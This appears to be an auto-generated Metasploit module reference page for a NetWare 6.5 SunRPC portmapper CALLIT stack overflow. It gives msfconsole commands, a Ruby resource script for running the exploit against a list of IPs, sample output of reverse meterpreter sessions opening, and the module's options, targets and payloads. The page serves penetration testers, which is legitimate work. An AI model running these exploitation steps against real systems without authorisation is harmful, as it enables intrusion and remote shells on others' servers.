NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/netware/sunrpc/pkernel_callit metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
Module: exploit/netware/sunrpc/pkernel_callit
Source code: modules/exploits/netware/sunrpc/pkernel_callit.rb
Disclosure date: 2009-09-30
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Netware
Target service / protocol: -
Target network port(s): 111
List of CVEs: -
This module exploits a stack buffer overflow in the NetWare PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by default on all NetWare servers to support NFS. The PKERNEL.NLM module runs in kernel mode so a failed exploit attempt can cause the operating system to reboot.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using pkernel_callit against a single host
Normally, you can use exploit/netware/sunrpc/pkernel_callit this way:
msf > use exploit/netware/sunrpc/pkernel_callit
msf exploit(pkernel_callit) > show targets
... a list of targets ...
msf exploit(pkernel_callit) > set TARGET target-id
msf exploit(pkernel_callit) > show options
... show and set options ...
msf exploit(pkernel_callit) > exploit
Using pkernel_callit against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your pkernel_callit will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/netware/sunrpc/pkernel_callit")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the netware/sunrpc/pkernel_callit exploit module looks in the msfconsole:
msf6 > use exploit/netware/sunrpc/pkernel_callit
[*] No payload configured, defaulting to netware/shell/reverse_tcp
msf6 exploit(netware/sunrpc/pkernel_callit) > show info
Name: NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow
Module: exploit/netware/sunrpc/pkernel_callit
Platform: Netware
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2009-09-30
Provided by:
pahtzo
Available targets:
Id Name
-- ----
0 Automatic
1 NetWare 6.5 SP2
2 NetWare 6.5 SP3
3 NetWare 6.5 SP4
4 NetWare 6.5 SP5
5 NetWare 6.5 SP6
6 NetWare 6.5 SP7
7 NetWare 6.5 SP8
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (UDP)
Payload information:
Space: 2020
Description:
This module exploits a stack buffer overflow in the NetWare
PKERNEL.NLM driver's CALLIT procedure. PKERNEL.NLM is installed by
default on all NetWare servers to support NFS. The PKERNEL.NLM
module runs in kernel mode so a failed exploit attempt can cause the
operating system to reboot.
References:
http://www.securityfocus.com/bid/36564
OSVDB (58447)
http://www.zerodayinitiative.com/advisories/ZDI-09-067
Module Options
This is a complete list of options available in the netware/sunrpc/pkernel_callit exploit:
msf6 exploit(netware/sunrpc/pkernel_callit) > show options
Module options (exploit/netware/sunrpc/pkernel_callit):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (UDP)
Payload options (netware/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the netware/sunrpc/pkernel_callit exploit:
msf6 exploit(netware/sunrpc/pkernel_callit) > show advanced
Module advanced options (exploit/netware/sunrpc/pkernel_callit):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (netware/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the netware/sunrpc/pkernel_callit module can exploit:
msf6 exploit(netware/sunrpc/pkernel_callit) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 NetWare 6.5 SP2
2 NetWare 6.5 SP3
3 NetWare 6.5 SP4
4 NetWare 6.5 SP5
5 NetWare 6.5 SP6
6 NetWare 6.5 SP7
7 NetWare 6.5 SP8
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the netware/sunrpc/pkernel_callit exploit:
msf6 exploit(netware/sunrpc/pkernel_callit) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/netware/shell/reverse_tcp normal No NetWare Command Shell, Reverse TCP Stager
Evasion Options
Here is the full list of possible evasion options supported by the netware/sunrpc/pkernel_callit exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(netware/sunrpc/pkernel_callit) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2560 Merged Pull Request: ZDI references for reference.rb
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE: Not available
- BID-36564
- OSVDB (58447)
- ZDI-09-067
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/scanner/http/grafana_plugin_traversal
- auxiliary/scanner/http/joomla_plugins
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- exploit/multi/http/jira_plugin_upload
- exploit/multi/http/processmaker_plugin_upload
- exploit/multi/http/traq_plugin_exec
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/webapp/squirrelmail_pgp_plugin
- exploit/windows/browser/foxit_reader_plugin_url_bof
- exploit/windows/local/dnsadmin_serverlevelplugindll
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/netware/smb/lsass_cifs
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/scanner/misc/sunrpc_portmapper
- exploit/windows/brightstor/mediasrv_sunrpc
- payload/netware/shell/reverse_tcp
Authors
- pahtzo
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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